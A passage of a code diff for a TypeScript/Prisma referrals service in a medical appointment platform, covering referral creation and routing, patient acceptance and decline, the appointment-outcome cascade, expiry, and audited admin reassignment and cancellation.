loop walk, duplicate check and insert are - * atomic, so a concurrent identical referral loses the race on the - * duplicate check or not at all. - */ -export async function createReferral(userId: string, input: CreateReferralInput) { - const referringDoctor = await doctorsService.getMyDoctorProfile(userId); - - return prisma.$transaction(async (tx) => { - const consultation = await loadConsultationForReferringDoctor(tx, input.sourceConsultationId); - const prepared = await prepareReferralTarget(tx, consultation, referringDoctor.id, input, []); - return referralsRepo.createReferral(tx, prepared); - }); -} - -/** - * Multiple simultaneous referrals from one consultation (issue #66, PRD - * Β§8.2.4). All-or-none: the whole batch shares one transaction, so a - * failure on the second target rolls back the first. Each target gets its - * OWN snapshot copy (FR-7/FR-8) β€” two rows, two notes, never a shared - * reference. Acceptance/decline stays per-referral: they are independent - * lifecycles that merely happen to be born together. - */ -export async function createReferralBatch( - userId: string, - sourceConsultationId: string, - targets: ReferralTargetInput[], -) { - if (targets.length === 0) { - throw new HttpError(422, 'At least one referral target is required.'); - } - const referringDoctor = await doctorsService.getMyDoctorProfile(userId); - - return prisma.$transaction(async (tx) => { - const consultation = await loadConsultationForReferringDoctor(tx, sourceConsultationId); - const accepted: { targetDoctorId: string; targetSpecialtyId?: string | null }[] = []; - // Explicitly named doctors are off-limits to this batch's routing - // regardless of target order (ADR 0008 Β§5), so "cardiology (any) + - // Dr A" can never route the specialty half onto Dr A and then fail - // the duplicate check for a reason the doctor never chose. - const explicitlyTargeted = targets - .map((target) => target.targetDoctorId) - .filter((id): id is string => !!id); - const created = []; - for (const target of targets) { - const prepared = await prepareReferralTarget(tx, consultation, referringDoctor.id, target, accepted, [ - ...explicitlyTargeted, - ...accepted.map((entry) => entry.targetDoctorId), - ]); - created.push(await referralsRepo.createReferral(tx, prepared)); - accepted.push({ - targetDoctorId: prepared.targetDoctorId, - targetSpecialtyId: target.targetSpecialtyId ?? null, - }); - } - return created; - }); -} - -/** - * Patient accepts a pending referral: one transaction that flips the - * referral pending β†’ accepted (conditional β€” the concurrency gate), then - * books the pre-populated appointment against the target doctor through - * the appointments service (slot claim + Appointment row, origin - * 'referral'). The patient picks the slot; the appointment is - * "pre-populated" in the FR-8 sense β€” no re-intake, the snapshot travels - * on the referral β€” not in the sense of an auto-chosen time. - */ -export async function acceptReferral( - actor: auditService.AuditActor, - referralId: string, - availabilitySlotId: string, -) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - const patientProfile = await patientsService.getMyPatientProfile(actor.userId); - - return prisma.$transaction(async (tx) => { - const referral = await referralsRepo.findReferralById(tx, referralId); - if (!referral) throw new HttpError(404, 'Referral not found.'); - if (referral.patientProfileId !== patientProfile.id) { - throw new HttpError(403, 'This referral is not for you.'); - } - if (referral.status !== 'pending') { - throw new HttpError(409, 'Only a pending referral can be accepted.'); - } - - // Conditional pending β†’ accepted FIRST: if two accepts race, exactly - // one matches, same shape as claimOpenSlot (hard rule 2's philosophy, - // applied to referral state). - const claimed = await referralsRepo.updateReferralConditional( - tx, - { id: referralId, status: 'pending', resultingAppointmentId: null }, - { status: 'accepted' }, - ); - if (claimed.count !== 1) { - throw new HttpError(409, 'This referral is no longer pending.'); - } - - const appointment = await appointmentsService.bookForReferral( - tx, - { - patientProfileId: patientProfile.id, - doctorProfileId: referral.targetDoctorId, - availabilitySlotId, - referralId, - }, - actor, - ); - - await referralsRepo.updateReferralConditional( - tx, - { id: referralId, status: 'accepted', resultingAppointmentId: null }, - { resultingAppointmentId: appointment.id }, - ); - - // The patient's own state change on the referral, recorded in the same - // transaction as the appointment it produced β€” so the trail shows who - // accepted, and the `appointment.booked` row the appointments module - // wrote, together or not at all. - await auditService.record(tx, actor, { - entityType: 'Referral', - entityId: referralId, - action: 'referral.accepted', - fromState: 'pending', - toState: 'accepted', - metadata: { appointmentId: appointment.id }, - }); - - return referralsRepo.findReferralById(tx, referralId); - }); -} - -/** - * Patient declines a pending referral. Deliberately pending-only: once a - * referral is accepted it has a live appointment behind it, and the way - * out is cancelling that appointment β€” which the cascade below returns to - * pending (re-bookable), from which declining is then possible. Keeps one - * narrow transition instead of two overlapping exit paths. - */ -export async function declineReferral(actor: auditService.AuditActor, referralId: string) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - const patientProfile = await patientsService.getMyPatientProfile(actor.userId); - return prisma.$transaction(async (tx) => { - const referral = await referralsRepo.findReferralById(tx, referralId); - if (!referral) throw new HttpError(404, 'Referral not found.'); - if (referral.patientProfileId !== patientProfile.id) { - throw new HttpError(403, 'This referral is not for you.'); - } - if (referral.status !== 'pending') { - throw new HttpError(409, 'Only a pending referral can be declined.'); - } - - const updated = await referralsRepo.updateReferralConditional( - tx, - { id: referralId, status: 'pending', resultingAppointmentId: null }, - { status: 'declined' }, - ); - if (updated.count !== 1) { - throw new HttpError(409, 'This referral is no longer pending.'); - } - - await auditService.record(tx, actor, { - entityType: 'Referral', - entityId: referralId, - action: 'referral.declined', - fromState: 'pending', - toState: 'declined', - }); - - return referralsRepo.findReferralById(tx, referralId); - }); -} - -export async function listMine(userId: string) { - const patientProfile = await patientsService.getMyPatientProfile(userId); - return referralsRepo.listReferralsForPatient(patientProfile.id); -} - -export async function listCreated(userId: string) { - const referringDoctor = await doctorsService.getMyDoctorProfile(userId); - return referralsRepo.listReferralsCreatedBy(referringDoctor.id); -} - -/** - * THE cascade (issue #67, PRD Β§8.2.3). Called by appointments/services - * inside the same transaction as the appointment's status transition, so - * the referral can never be left sitting `accepted` behind a dead - * appointment: - * - * completed β†’ referral `completed` (closes FR-9's loop; keeps - * referral-completion metrics honest) - * cancelled β†’ referral back to `pending`, re-bookable β€” re-accepting - * reuses the same snapshot, no re-intake (FR-8); the - * cancelled appointment keeps its own referralId link, so - * history survives the resultingAppointmentId being cleared - * no_show β†’ noShowCount++, referral back to `pending`; once the count - * reaches NO_SHOW_EXPIRY_THRESHOLD the referral is - * `expired` instead, with referringDoctorNotifiedAt set β€” - * the flag the referring doctor's view reads (Phase 6 can - * later turn it into a real notification) - * - * Idempotency: every write is a conditional UPDATE that only matches a - * referral still `accepted` *and still pointing at this appointment* β€” - * a hook that fires a second time after the first one moved the referral - * matches zero rows and no-ops. The no_show counter therefore advances at - * most once per real appointment transition, even if called twice. - */ -export async function applyAppointmentOutcome( - db: Prisma.TransactionClient, - input: { appointmentId: string; referralId: string; status: 'completed' | 'cancelled' | 'no_show' }, -) { - const stillAccepted = { - id: input.referralId, - status: 'accepted' as const, - resultingAppointmentId: input.appointmentId, - }; - - if (input.status === 'completed') { - await referralsRepo.updateReferralConditional(db, stillAccepted, { status: 'completed' }); - return; - } - - if (input.status === 'cancelled') { - await referralsRepo.updateReferralConditional(db, stillAccepted, { - status: 'pending', - resultingAppointmentId: null, - }); - return; - } - - // no_show: read the current count to decide pending-vs-expired, then - // write conditionally. Safe under the caller's transaction: the - // appointment row was just updated under the same tx (locking it), and - // resultingAppointmentId is singular β€” no second accepted appointment - // can be racing on this referral. - const referral = await referralsRepo.findReferralById(db, input.referralId); - if (!referral || referral.status !== 'accepted' || referral.resultingAppointmentId !== input.appointmentId) { - return; // already processed (or never matched) β€” idempotent no-op - } - - const noShowCount = referral.noShowCount + 1; - if (noShowCount >= NO_SHOW_EXPIRY_THRESHOLD) { - await referralsRepo.updateReferralConditional(db, stillAccepted, { - status: 'expired', - noShowCount, - referringDoctorNotifiedAt: new Date(), - expiredAt: new Date(), - expiredReason: 'no_show', - // resultingAppointmentId intentionally kept: the appointment that - // produced the expiring no-show stays linked as the reason. - }); - } else { - await referralsRepo.updateReferralConditional(db, stillAccepted, { - status: 'pending', - noShowCount, - resultingAppointmentId: null, - }); - } -} - -// --------------------------------------------------------------------------- -// Time-based expiry (issue #8) -// --------------------------------------------------------------------------- - -/** - * Expires referrals that have sat `pending` for longer than - * `REFERRAL_PENDING_TTL_DAYS` (PRD Β§8.1.3 "orphaned" referrals). The clock is - * `updatedAt`, not `createdAt`: a referral the cascade returned to `pending` - * (cancelled/no-showed appointment, issue #67) or an admin reassigned - * (issue #68) gets a fresh window instead of being expired the moment it - * re-enters the queue. `accepted` referrals are never touched β€” they have an - * appointment; that lifecycle belongs to the cascade. - * - * The result is `expired` with `expiredReason = 'ttl'` β€” a different terminal - * state from `declined` (the patient said no) and `cancelled` (an admin - * closed it). Safe to run from several processes and to re-run. - */ -export async function expireStaleReferrals(now: Date = new Date()): Promise<{ expired: number }> { - const cutoff = new Date(now.getTime() - config.referrals.pendingTtlDays * 24 * 60 * 60 * 1000); - const result = await referralsRepo.expireStalePendingReferrals(prisma, cutoff, now); - return { expired: result.count }; -} - -// --------------------------------------------------------------------------- -// Admin operations (issue #68) -// --------------------------------------------------------------------------- - -export interface AdminQueueFilters { - status?: ReferralStatus; - /** Duration string like "48h" or "7d". Referrals created BEFORE now - - * duration are returned. */ - olderThan?: string; - loopFlagged?: boolean; -} - -function parseDuration(value: string): number { - const match = /^(\d+)([hd])$/.exec(value.trim()); - if (!match) throw new HttpError(400, 'olderThan must look like "48h" or "7d".'); - const amount = Number(match[1]); - return match[2] === 'h' ? amount * 60 * 60 * 1000 : amount * 24 * 60 * 60 * 1000; -} - -/** Issue #68 queue endpoint: stuck referrals (by status + age) and/or - * loop-flagged ones, with a derived human-readable reason and age. */ -export async function adminListReferrals(_userId: string, filters: AdminQueueFilters) { - const createdBefore = filters.olderThan ? new Date(Date.now() - parseDuration(filters.olderThan)) : undefined; - const rows = await referralsRepo.listAdminQueue({ - status: filters.status, - createdBefore, - loopFlagged: filters.loopFlagged, - }); - - const now = Date.now(); - return rows.map((row) => ({ - ...row, - ageMinutes: Math.floor((now - row.createdAt.getTime()) / 60_000), - reason: deriveQueueReason(row), - })); -} - -function deriveQueueReason(row: { - loopFlaggedAt: Date | null; - loopFlagReason: string | null; - noShowCount: number; - status: ReferralStatus; -}): string { - if (row.loopFlaggedAt) return row.loopFlagReason ?? 'loop-flagged'; - if (row.noShowCount > 0) return `previous no-shows (${row.noShowCount})`; - if (row.status === 'pending') return 'awaiting patient acceptance'; - return 'stuck'; -} - -/** - * Reassignment (issue #68): move a PENDING referral to a different - * verified doctor, with an audit event. Only `targetDoctorId` moves β€” - * the snapshot (notes, patient, consultation, lineage) is untouched, per - * the constraint that reassignment must never alter the snapshot. The - * target is validated through the doctors service, never around it. - * - * The audit event goes through the audit module's `record()` (Phase 8, - * issue #43) β€” there is one AuditEvent table in this system, and this - * module writes its rows as `entityType: 'Referral'` through that - * module's service, never by touching the table itself. - */ -export async function adminReassign( - actor: auditService.AuditActor, - referralId: string, - input: { targetDoctorId: string; reason: string }, -) { - return prisma.$transaction(async (tx) => { - const referral = await referralsRepo.findReferralById(tx, referralId); - if (!referral) throw new HttpError(404, 'Referral not found.'); - - // Reassigning an accepted referral would strand its live appointment - // against the old doctor β€” cancel that path; admins cancel instead. - if (referral.status !== 'pending') { - throw new HttpError(409, 'Only a pending referral can be reassigned.'); - } - if (input.targetDoctorId === referral.referringDoctorId) { - throw new HttpError(422, 'A doctor cannot be referred to themselves.'); - } - if (referral.targetSpecialtyId) { - await doctorsService.assertDoctorVerifiedInSpecialty(input.targetDoctorId, referral.targetSpecialtyId); - } else { - await doctorsService.assertDoctorVerified(input.targetDoctorId); - } - if (input.targetDoctorId === referral.targetDoctorId) { - throw new HttpError(409, 'Referral already targets that doctor.'); - } - - const updated = await referralsRepo.updateReferralIfStatus(tx, referralId, 'pending', { - targetDoctorId: input.targetDoctorId, - }); - if (updated.count !== 1) { - throw new HttpError(409, 'Referral is no longer pending; it changed while you were working.'); - } - - await auditService.record(tx, actor, { - entityType: 'Referral', - entityId: referralId, - action: 'referral.reassign', - // The referral's *state* doesn't change here β€” it stays pending and - // is retargeted β€” so there is no from/to state. What changed is the - // target doctor, which is recorded as ids in the metadata. - fromState: null, - toState: null, - metadata: { - fromDoctorId: referral.targetDoctorId, - toDoctorId: input.targetDoctorId, - reason: input.reason, - }, - }); - - return referralsRepo.findReferralById(tx, referralId); - }); -} - -/** - * Admin cancellation (issue #68): terminate a non-terminal referral with - * a reason, audited. If the referral is `accepted`, its live appointment - * is cancelled too (through the appointments service β€” never by touching - * the Appointment table from here) so we don't re-create the exact - * "dead appointment behind a live referral" bug #67 exists to prevent. - * The patient-notification hook point is the audit event + the referral - * status itself; Phase 6's dispatch layer will read both. - */ -export async function adminCancel( - actor: auditService.AuditActor, - referralId: string, - input: { reason: string }, -) { - return prisma.$transaction(async (tx) => { - const referral = await referralsRepo.findReferralById(tx, referralId); - if (!referral) throw new HttpError(404, 'Referral not found.'); - if (referral.status !== 'pending' && referral.status !== 'accepted') { - throw new HttpError(409, 'Only a pending or accepted referral can be cancelled.'); - } - - // Accepted + live appointment: close the appointment first (inside - // this transaction) WITHOUT the normal cascade β€” we know we're - // cancelling the referral, no need for it to bounce back to pending. - if (referral.status === 'accepted' && referral.resultingAppointmentId) { - await appointmentsService.forceCancelAppointment(tx, referral.resultingAppointmentId); - } - - const updated = await referralsRepo.updateReferralIfStatus(tx, referralId, ['pending', 'accepted'], { - status: 'cancelled', - cancelledReason: input.reason, - }); - if (updated.count !== 1) { - throw new HttpError(409, 'Referral changed while you were working; reload and retry.'); - } - - await auditService.record(tx, actor, { - entityType: 'Referral', - entityId: referralId, - action: 'referral.cancel', - fromState: referral.status, - toState: 'cancelled', - metadata: { reason: input.reason }, - }); - - return referralsRepo.findReferralById(tx, referralId); - }); -} - -/** - * A referral's audit trail (issue #68). Read through the audit module's - * service β€” this module never queries the AuditEvent table itself. The - * rows are the same ones the admin-wide `GET /admin/audit-events` - * endpoint serves, narrowed to this referral. - */ -export async function listAuditEvents(referralId: string) { - const referral = await referralsRepo.findReferralById(prisma, referralId); - if (!referral) throw new HttpError(404, 'Referral not found.'); - const page = await auditService.listAuditEvents({ - entityType: 'Referral', - entityId: referralId, - limit: 200, - }); - return page.items; -} - -/** Retention hold (issue #41, docs/adr/0010): a referral carries an - * immutable clinical snapshot, so a patient who has any is never purged - * after deletion. */ -export function hasReferralsForPatient(patientProfileId: string): Promise { - return referralsRepo.patientHasReferrals(patientProfileId); -} +// Referrals services β€” the only exported surface other modules (and this +// module's own controllers) may call. Never import repositories/* from +// outside this module. +// +// NOTE: this module and appointments/services import each other (accept +// creates an appointment via the appointments service; appointment status +// changes cascade back through applyAppointmentOutcome below; admin cancel +// closes a live appointment through forceCancelAppointment). The cycle is +// runtime-safe under ESM live bindings β€” every cross-call happens inside +// an async function, after both modules have finished loading β€” and is +// the smallest seam that keeps each module owning its own table +// (ARCHITECTURE.md Β§3 / ARCHITECTURE_ESSENTIALS.md hard rule 4). +import { prisma } from '../../../db/prisma-client'; +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import type { Prisma, ReferralStatus } from '@prisma/client'; +import * as referralsRepo from '../repositories'; +import * as appointmentsService from '../../appointments/services'; +import * as auditService from '../../audit/services'; +import * as doctorsService from '../../doctors/services'; +import * as patientsService from '../../patients/services'; +import { evaluateReferralLoop, LoopGuardError, REFERRAL_MAX_HOPS } from '../loop'; +import { selectLeastLoaded } from '../routing'; + +/** How many referral-origin no-shows it takes to give up on a referral + * (PRD Β§8.2.3: "repeated no-shows β†’ expired"). Two is a deliberately + * boring v1 default, not a tuned threshold β€” revisit when real no-show + * data exists. Lives here, not in config, so the cascade and its tests + * read from one place. */ +export const NO_SHOW_EXPIRY_THRESHOLD = 2; + +export interface ReferralTargetInput { + /** Explicit recipient. When omitted, `targetSpecialtyId` is required and + * routing picks a doctor (issue #6, docs/adr/0008). */ + targetDoctorId?: string; + targetSpecialtyId?: string; + snapshotNotes: string; +} + +export interface CreateReferralInput extends ReferralTargetInput { + sourceConsultationId: string; +} + +interface PreparedReferral { + patientProfileId: string; + sourceConsultationId: string; + referringDoctorId: string; + targetDoctorId: string; + targetSpecialtyId?: string; + snapshotNotes: string; + parentReferralId?: string; + loopFlaggedAt?: Date; + loopFlagReason?: string; +} + +/** + * Resolve a target to a concrete doctor (issue #6, docs/adr/0008): + * an explicit `targetDoctorId` is returned untouched; a specialty-only + * target is routed to the least-loaded eligible doctor in that specialty. + * `excludeDoctorIds` carries the ids this batch must not route to (the + * referring doctor is always excluded by the eligibility query). + * + * Throws 422 when nobody is eligible β€” creation then fails wholesale and + * no unassigned referral row exists. That is the deliberate v1 answer to + * PRD Β§8.2.2: the referring doctor learns at the point of referral that + * no specialist is available, rather than handing the patient a referral + * nobody owns. + */ +async function resolveTargetDoctor( + db: Prisma.TransactionClient, + referringDoctorId: string, + target: ReferralTargetInput, + excludeDoctorIds: string[], +): Promise { + if (target.targetDoctorId) return target.targetDoctorId; + + if (!target.targetSpecialtyId) { + throw new HttpError(422, 'A referral needs either a target doctor or a target specialty.'); + } + + const eligibleDoctorIds = await doctorsService.listEligibleReferralTargets(target.targetSpecialtyId, [ + referringDoctorId, + ...excludeDoctorIds, + ]); + if (eligibleDoctorIds.length === 0) { + throw new HttpError( + 422, + 'No verified doctor is available to receive a referral for this specialty. Name a specific doctor instead.', + 'REFERRAL_NO_ELIGIBLE_TARGET', + ); + } + + const loadRows = await referralsRepo.countActiveReferralsByTargetDoctor(db, eligibleDoctorIds); + const loadByDoctorId = new Map(loadRows.map((row) => [row.targetDoctorId, row._count._all])); + const chosen = selectLeastLoaded( + eligibleDoctorIds.map((doctorProfileId) => ({ + doctorProfileId, + activeReferralCount: loadByDoctorId.get(doctorProfileId) ?? 0, + })), + ); + if (!chosen) { + // Unreachable: the candidate list is non-empty. Kept so the return + // type is honest instead of asserted away. + throw new HttpError( + 422, + 'No verified doctor is available to receive a referral for this specialty.', + 'REFERRAL_NO_ELIGIBLE_TARGET', + ); + } + return chosen.doctorProfileId; +} + +/** + * Shared validation for one referral target against its source + * consultation. Returns the fully-prepared row data (lineage + loop flag + * resolved) or throws. `existingTargets` guards the multi-referral batch + * case (#66): two targets in one batch may not share a doctor or + * specialty. `excludeFromRouting` carries the batch's explicit targets + * and already-routed ones, so one batch never routes a specialty-only + * target onto a doctor the same batch named explicitly (ADR 0008 Β§5). + */ +async function prepareReferralTarget( + db: Prisma.TransactionClient, + consultation: { + id: string; + appointment: { patientProfileId: string; doctorProfileId: string; status: string } | null; + }, + referringDoctorId: string, + target: ReferralTargetInput, + existingTargets: { targetDoctorId: string; targetSpecialtyId?: string | null }[], + excludeFromRouting: string[] = [], +): Promise { + if (!consultation.appointment) { + throw new HttpError(422, 'Consultation has no appointment; lineage cannot be established.'); + } + if (consultation.appointment.doctorProfileId !== referringDoctorId) { + throw new HttpError(403, 'You can only refer from your own consultation.'); + } + if (consultation.appointment.status !== 'completed') { + throw new HttpError(409, 'A referral requires a completed appointment.'); + } + + const patientProfileId = consultation.appointment.patientProfileId; + + // Routing first: everything below (self-referral gate, verification, + // duplicate checks, loop walk) then sees one resolved doctor regardless + // of whether the referring doctor named them or the rule picked them. + const targetDoctorId = await resolveTargetDoctor(db, referringDoctorId, target, excludeFromRouting); + + if (targetDoctorId === referringDoctorId) { + throw new HttpError(422, 'A doctor cannot refer a patient to themselves.'); + } + await doctorsService.assertDoctorVerified(targetDoctorId); + if (target.targetSpecialtyId) { + await doctorsService.assertDoctorVerifiedInSpecialty(targetDoctorId, target.targetSpecialtyId); + } + + const duplicateInBatch = existingTargets.some( + (other) => + other.targetDoctorId === targetDoctorId || + (!!target.targetSpecialtyId && other.targetSpecialtyId === target.targetSpecialtyId), + ); + if (duplicateInBatch) { + throw new HttpError(422, 'Duplicate target doctor or specialty in this set of referrals.'); + } + + const duplicateInConsultation = await referralsRepo.findByConsultationAndTarget(db, consultation.id, { + targetDoctorId, + targetSpecialtyId: target.targetSpecialtyId ?? null, + }); + if (duplicateInConsultation) { + throw new HttpError(409, 'A referral to this doctor or specialty already exists for this consultation.'); + } + + const parentReferralId = + (await referralsRepo.findParentReferralForConsultation(db, consultation.id)) ?? undefined; + + let loopFlaggedAt: Date | undefined; + let loopFlagReason: string | undefined; + if (parentReferralId) { + const ancestors = await referralsRepo.findReferralAncestors(db, parentReferralId, REFERRAL_MAX_HOPS - 1); + try { + const evaluation = evaluateReferralLoop(ancestors, { + referringDoctorId, + targetDoctorId, + targetSpecialtyId: target.targetSpecialtyId ?? null, + }); + if (evaluation.flagged) { + loopFlaggedAt = new Date(); + loopFlagReason = evaluation.reason ?? undefined; + } + } catch (error) { + if (error instanceof LoopGuardError) { + throw new HttpError(422, error.message); + } + throw error; + } + } + + return { + patientProfileId, + sourceConsultationId: consultation.id, + referringDoctorId, + targetDoctorId, + targetSpecialtyId: target.targetSpecialtyId, + snapshotNotes: target.snapshotNotes, + parentReferralId, + loopFlaggedAt, + loopFlagReason, + }; +} + +async function loadConsultationForReferringDoctor(db: Prisma.TransactionClient, sourceConsultationId: string) { + const consultation = await db.consultation.findUnique({ + where: { id: sourceConsultationId }, + include: { appointment: true }, + }); + if (!consultation) throw new HttpError(404, 'Consultation not found.'); + return consultation; +} + +/** + * Single referral creation (issues #5/#65/#66/#67 foundation). One + * transaction per call β€” the loop walk, duplicate check and insert are + * atomic, so a concurrent identical referral loses the race on the + * duplicate check or not at all. + */ +export async function createReferral(userId: string, input: CreateReferralInput) { + const referringDoctor = await doctorsService.getMyDoctorProfile(userId); + + return prisma.$transaction(async (tx) => { + const consultation = await loadConsultationForReferringDoctor(tx, input.sourceConsultationId); + const prepared = await prepareReferralTarget(tx, consultation, referringDoctor.id, input, []); + return referralsRepo.createReferral(tx, prepared); + }); +} + +/** + * Multiple simultaneous referrals from one consultation (issue #66, PRD + * Β§8.2.4). All-or-none: the whole batch shares one transaction, so a + * failure on the second target rolls back the first. Each target gets its + * OWN snapshot copy (FR-7/FR-8) β€” two rows, two notes, never a shared + * reference. Acceptance/decline stays per-referral: they are independent + * lifecycles that merely happen to be born together. + */ +export async function createReferralBatch( + userId: string, + sourceConsultationId: string, + targets: ReferralTargetInput[], +) { + if (targets.length === 0) { + throw new HttpError(422, 'At least one referral target is required.'); + } + const referringDoctor = await doctorsService.getMyDoctorProfile(userId); + + return prisma.$transaction(async (tx) => { + const consultation = await loadConsultationForReferringDoctor(tx, sourceConsultationId); + const accepted: { targetDoctorId: string; targetSpecialtyId?: string | null }[] = []; + // Explicitly named doctors are off-limits to this batch's routing + // regardless of target order (ADR 0008 Β§5), so "cardiology (any) + + // Dr A" can never route the specialty half onto Dr A and then fail + // the duplicate check for a reason the doctor never chose. + const explicitlyTargeted = targets + .map((target) => target.targetDoctorId) + .filter((id): id is string => !!id); + const created = []; + for (const target of targets) { + const prepared = await prepareReferralTarget(tx, consultation, referringDoctor.id, target, accepted, [ + ...explicitlyTargeted, + ...accepted.map((entry) => entry.targetDoctorId), + ]); + created.push(await referralsRepo.createReferral(tx, prepared)); + accepted.push({ + targetDoctorId: prepared.targetDoctorId, + targetSpecialtyId: target.targetSpecialtyId ?? null, + }); + } + return created; + }); +} + +/** + * Patient accepts a pending referral: one transaction that flips the + * referral pending β†’ accepted (conditional β€” the concurrency gate), then + * books the pre-populated appointment against the target doctor through + * the appointments service (slot claim + Appointment row, origin + * 'referral'). The patient picks the slot; the appointment is + * "pre-populated" in the FR-8 sense β€” no re-intake, the snapshot travels + * on the referral β€” not in the sense of an auto-chosen time. + */ +export async function acceptReferral( + actor: auditService.AuditActor, + referralId: string, + availabilitySlotId: string, +) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + const patientProfile = await patientsService.getMyPatientProfile(actor.userId); + + return prisma.$transaction(async (tx) => { + const referral = await referralsRepo.findReferralById(tx, referralId); + if (!referral) throw new HttpError(404, 'Referral not found.'); + if (referral.patientProfileId !== patientProfile.id) { + throw new HttpError(403, 'This referral is not for you.'); + } + if (referral.status !== 'pending') { + throw new HttpError(409, 'Only a pending referral can be accepted.'); + } + + // Conditional pending β†’ accepted FIRST: if two accepts race, exactly + // one matches, same shape as claimOpenSlot (hard rule 2's philosophy, + // applied to referral state). + const claimed = await referralsRepo.updateReferralConditional( + tx, + { id: referralId, status: 'pending', resultingAppointmentId: null }, + { status: 'accepted' }, + ); + if (claimed.count !== 1) { + throw new HttpError(409, 'This referral is no longer pending.'); + } + + const appointment = await appointmentsService.bookForReferral( + tx, + { + patientProfileId: patientProfile.id, + doctorProfileId: referral.targetDoctorId, + availabilitySlotId, + referralId, + }, + actor, + ); + + await referralsRepo.updateReferralConditional( + tx, + { id: referralId, status: 'accepted', resultingAppointmentId: null }, + { resultingAppointmentId: appointment.id }, + ); + + // The patient's own state change on the referral, recorded in the same + // transaction as the appointment it produced β€” so the trail shows who + // accepted, and the `appointment.booked` row the appointments module + // wrote, together or not at all. + await auditService.record(tx, actor, { + entityType: 'Referral', + entityId: referralId, + action: 'referral.accepted', + fromState: 'pending', + toState: 'accepted', + metadata: { appointmentId: appointment.id }, + }); + + return referralsRepo.findReferralById(tx, referralId); + }); +} + +/** + * Patient declines a pending referral. Deliberately pending-only: once a + * referral is accepted it has a live appointment behind it, and the way + * out is cancelling that appointment β€” which the cascade below returns to + * pending (re-bookable), from which declining is then possible. Keeps one + * narrow transition instead of two overlapping exit paths. + */ +export async function declineReferral(actor: auditService.AuditActor, referralId: string) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + const patientProfile = await patientsService.getMyPatientProfile(actor.userId); + return prisma.$transaction(async (tx) => { + const referral = await referralsRepo.findReferralById(tx, referralId); + if (!referral) throw new HttpError(404, 'Referral not found.'); + if (referral.patientProfileId !== patientProfile.id) { + throw new HttpError(403, 'This referral is not for you.'); + } + if (referral.status !== 'pending') { + throw new HttpError(409, 'Only a pending referral can be declined.'); + } + + const updated = await referralsRepo.updateReferralConditional( + tx, + { id: referralId, status: 'pending', resultingAppointmentId: null }, + { status: 'declined' }, + ); + if (updated.count !== 1) { + throw new HttpError(409, 'This referral is no longer pending.'); + } + + await auditService.record(tx, actor, { + entityType: 'Referral', + entityId: referralId, + action: 'referral.declined', + fromState: 'pending', + toState: 'declined', + }); + + return referralsRepo.findReferralById(tx, referralId); + }); +} + +export async function listMine(userId: string) { + const patientProfile = await patientsService.getMyPatientProfile(userId); + return referralsRepo.listReferralsForPatient(patientProfile.id); +} + +export async function listCreated(userId: string) { + const referringDoctor = await doctorsService.getMyDoctorProfile(userId); + return referralsRepo.listReferralsCreatedBy(referringDoctor.id); +} + +/** + * THE cascade (issue #67, PRD Β§8.2.3). Called by appointments/services + * inside the same transaction as the appointment's status transition, so + * the referral can never be left sitting `accepted` behind a dead + * appointment: + * + * completed β†’ referral `completed` (closes FR-9's loop; keeps + * referral-completion metrics honest) + * cancelled β†’ referral back to `pending`, re-bookable β€” re-accepting + * reuses the same snapshot, no re-intake (FR-8); the + * cancelled appointment keeps its own referralId link, so + * history survives the resultingAppointmentId being cleared + * no_show β†’ noShowCount++, referral back to `pending`; once the count + * reaches NO_SHOW_EXPIRY_THRESHOLD the referral is + * `expired` instead, with referringDoctorNotifiedAt set β€” + * the flag the referring doctor's view reads (Phase 6 can + * later turn it into a real notification) + * + * Idempotency: every write is a conditional UPDATE that only matches a + * referral still `accepted` *and still pointing at this appointment* β€” + * a hook that fires a second time after the first one moved the referral + * matches zero rows and no-ops. The no_show counter therefore advances at + * most once per real appointment transition, even if called twice. + */ +export async function applyAppointmentOutcome( + db: Prisma.TransactionClient, + input: { appointmentId: string; referralId: string; status: 'completed' | 'cancelled' | 'no_show' }, +) { + const stillAccepted = { + id: input.referralId, + status: 'accepted' as const, + resultingAppointmentId: input.appointmentId, + }; + + if (input.status === 'completed') { + await referralsRepo.updateReferralConditional(db, stillAccepted, { status: 'completed' }); + return; + } + + if (input.status === 'cancelled') { + await referralsRepo.updateReferralConditional(db, stillAccepted, { + status: 'pending', + resultingAppointmentId: null, + }); + return; + } + + // no_show: read the current count to decide pending-vs-expired, then + // write conditionally. Safe under the caller's transaction: the + // appointment row was just updated under the same tx (locking it), and + // resultingAppointmentId is singular β€” no second accepted appointment + // can be racing on this referral. + const referral = await referralsRepo.findReferralById(db, input.referralId); + if (!referral || referral.status !== 'accepted' || referral.resultingAppointmentId !== input.appointmentId) { + return; // already processed (or never matched) β€” idempotent no-op + } + + const noShowCount = referral.noShowCount + 1; + if (noShowCount >= NO_SHOW_EXPIRY_THRESHOLD) { + await referralsRepo.updateReferralConditional(db, stillAccepted, { + status: 'expired', + noShowCount, + referringDoctorNotifiedAt: new Date(), + expiredAt: new Date(), + expiredReason: 'no_show', + // resultingAppointmentId intentionally kept: the appointment that + // produced the expiring no-show stays linked as the reason. + }); + } else { + await referralsRepo.updateReferralConditional(db, stillAccepted, { + status: 'pending', + noShowCount, + resultingAppointmentId: null, + }); + } +} + +// --------------------------------------------------------------------------- +// Time-based expiry (issue #8) +// --------------------------------------------------------------------------- + +/** + * Expires referrals that have sat `pending` for longer than + * `REFERRAL_PENDING_TTL_DAYS` (PRD Β§8.1.3 "orphaned" referrals). The clock is + * `updatedAt`, not `createdAt`: a referral the cascade returned to `pending` + * (cancelled/no-showed appointment, issue #67) or an admin reassigned + * (issue #68) gets a fresh window instead of being expired the moment it + * re-enters the queue. `accepted` referrals are never touched β€” they have an + * appointment; that lifecycle belongs to the cascade. + * + * The result is `expired` with `expiredReason = 'ttl'` β€” a different terminal + * state from `declined` (the patient said no) and `cancelled` (an admin + * closed it). Safe to run from several processes and to re-run. + */ +export async function expireStaleReferrals(now: Date = new Date()): Promise<{ expired: number }> { + const cutoff = new Date(now.getTime() - config.referrals.pendingTtlDays * 24 * 60 * 60 * 1000); + const result = await referralsRepo.expireStalePendingReferrals(prisma, cutoff, now); + return { expired: result.count }; +} + +// --------------------------------------------------------------------------- +// Admin operations (issue #68) +// --------------------------------------------------------------------------- + +export interface AdminQueueFilters { + status?: ReferralStatus; + /** Duration string like "48h" or "7d". Referrals created BEFORE now - + * duration are returned. */ + olderThan?: string; + loopFlagged?: boolean; +} + +function 